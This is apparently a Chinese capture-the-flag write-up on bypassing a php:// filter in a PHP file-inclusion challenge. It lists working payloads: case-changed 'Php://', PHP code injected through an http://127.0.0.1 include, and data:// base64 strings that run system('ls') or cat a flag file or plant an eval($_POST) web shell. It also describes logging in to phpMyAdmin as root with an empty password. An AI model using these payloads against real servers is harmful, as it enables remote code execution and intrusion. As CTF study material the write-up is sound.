意思是当传给page的参数里有php://时,会自动过滤掉,但是此函数对大小写敏感,构造Php://就不起作用了,而stristr()函数对大小写不敏感噢。
一、双写、大小写绕过:
大小写可直接绕过。
但是由于源代码中是while循环过滤,所以我们的双写过滤就G了QAQ。
二、利用hello的回显
我们构造payload,首先要构造hello这个参数我们必须先让传进的page参数为真
page参数用http伪协议访问127.0.0.1这个条件肯定为真
payload:
?page=http://127.0.0.1/?hello=<?php system("ls")?>
?page=http://127.0.0.1/?hello=<?show_source ("fl4gisissh3r3.php")?>
三、data://伪协议传木马
这里是引用<?php eval($_POST[xiaohua]); ?> base64加密后拼接
http://111.198.29.45:47062/?page=data://text/plain/;base64,PD9waHAgZXZhbCgkX1BPU1RbeGlhb2h1YV0pOyA/Pg==
用蚁剑连接即可。
四、data://伪协议执行命令利用
过滤了php://的协议,那我们就使用data://的伪协议。
data://伪协议php5.2.0起,主要用与数据流的读取。如果传入的数据是PHP代码,就会执行代码。
data://text/plain;base64,xx(base64编码后的数据)
payload:
?page=data://text/plain/;base64,PD89c3lzdGVtKCJscyIpPz4=
<?=system("ls")?> 的base64编码是 PD89c3lzdGVtKCJscyIpPz4=
?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmw0Z2lzaXNpc2gzcjMucGhwIik/Pg==
<?php system("cat fl4gisisish3r3.php")?>的base64编码是 上面那一串。QAQ
五、御剑
我们尝试另一种方法 通过御剑扫描目录
看到了没 phpmyadmin 登陆地址 直接 root 登陆 密码为空
、、、
这弱口令就真的是让人很无语。。。
六、温故而不知新
php 的执行命令函数: exce, system, passthru。
Linux 查看文件内容: cat 、lesss 、more 、tail 、tac